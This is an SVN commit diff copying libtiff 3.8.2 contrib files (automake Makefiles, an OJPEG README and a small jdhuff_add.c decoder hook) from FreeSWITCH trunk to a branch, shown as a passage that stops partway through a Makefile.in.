+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+EXTRA_DIST = README jdhuff_add.c
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/ojpeg/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,385 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = contrib/ojpeg
+DIST_COMMON = README $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+EXTRA_DIST = README jdhuff_add.c
+all: all-am
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  contrib/ojpeg/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  contrib/ojpeg/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+tags: TAGS
+TAGS:
+
+ctags: CTAGS
+CTAGS:
+
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile
+installdirs:
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-am
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+.PHONY: all all-am check check-am clean clean-generic clean-libtool \
+	distclean distclean-generic distclean-libtool distdir dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-data install-data-am install-exec install-exec-am \
+	install-info install-info-am install-man install-strip \
+	installcheck installcheck-am installdirs maintainer-clean \
+	maintainer-clean-generic mostlyclean mostlyclean-generic \
+	mostlyclean-libtool pdf pdf-am ps ps-am uninstall uninstall-am \
+	uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/README

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/README (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/ojpeg/README) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,24 @@
+
+For the broadest possible support for OJPEG files the following steps are 
+necessary:
+
+ o Ensure you are able to build with JPEG support (see config.site).
+
+ o Uncomment OJPEG="yes" statement in config.site file or
+   #define OJPEG_SUPPORT somewhere.  This can be put in tiffconf.h for
+   instance.
+
+ o Append the jdhuff_add.c code to the end of jdhuff.c within the IJG JPEG
+   libraries jdhuff.c file and recompile libjpeg (jpeg-6b tested).
+
+ o Rebuild cleanly.
+
+
+OJPEG support implemented by Scott Marovich at HP (marovich@hpl.hp.com).
+
+---
+
+For notes on further improved JPEG-in-TIFF support also see the following
+bug in bugzilla:
+
+  http://bugzilla.remotesensing.org/show_bug.cgi?id=156

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/jdhuff_add.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/jdhuff_add.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/ojpeg/jdhuff_add.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/jdhuff_add.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/jdhuff_add.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,32 @@
+/*
+ * BEWARE OF KLUDGE:  This subroutine is a hack for decoding illegal JPEG-in-
+ *                    TIFF encapsulations produced by Microsoft's Wang Imaging
+ * for Windows application with the public-domain TIFF Library.  Based upon an
+ * examination of selected output files, this program apparently divides a JPEG
+ * bit-stream into consecutive horizontal TIFF "strips", such that the JPEG
+ * encoder's/decoder's DC coefficients for each image component are reset before
+ * each "strip".  Moreover, a "strip" is not necessarily encoded in a multiple
+ * of 8 bits, so one must sometimes discard 1-7 bits at the end of each "strip"
+ * for alignment to the next input-Byte storage boundary.  IJG JPEG Library
+ * decoder state is not normally exposed to client applications, so this sub-
+ * routine provides the TIFF Library with a "hook" to make these corrections.
+ * It should be called after "jpeg_start_decompress()" and before
+ * "jpeg_finish_decompress()", just before decoding each "strip" using
+ * "jpeg_read_raw_data()" or "jpeg_read_scanlines()".
+ *
+ * This kludge is not sanctioned or supported by the Independent JPEG Group, and
+ * future changes to the IJG JPEG Library might invalidate it.  Do not send bug
+ * reports about this code to IJG developers.  Instead, contact the author for
+ * advice: Scott B. Marovich <marovich@hpl.hp.com>, Hewlett-Packard Labs, 6/01.
+ */
+GLOBAL(void)
+jpeg_reset_huff_decode (register j_decompress_ptr cinfo,register float *refbw)
+{ register huff_entropy_ptr entropy = (huff_entropy_ptr)cinfo->entropy;
+  register int ci = 0;
+
+  /* Re-initialize DC predictions */
+  do entropy->saved.last_dc_val[ci] = -refbw[ci << 1];
+  while (++ci < cinfo->comps_in_scan);
+  /* Discard encoded input bits, up to the next Byte boundary */
+  entropy->bitstate.bits_left &= ~7;
+}

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/pds)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/pds/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+EXTRA_DIST = README tif_imageiter.c tif_imageiter.h tif_pdsdirread.c tif_pdsdirwrite.c
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/pds/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,385 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = contrib/pds
+DIST_COMMON = README $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
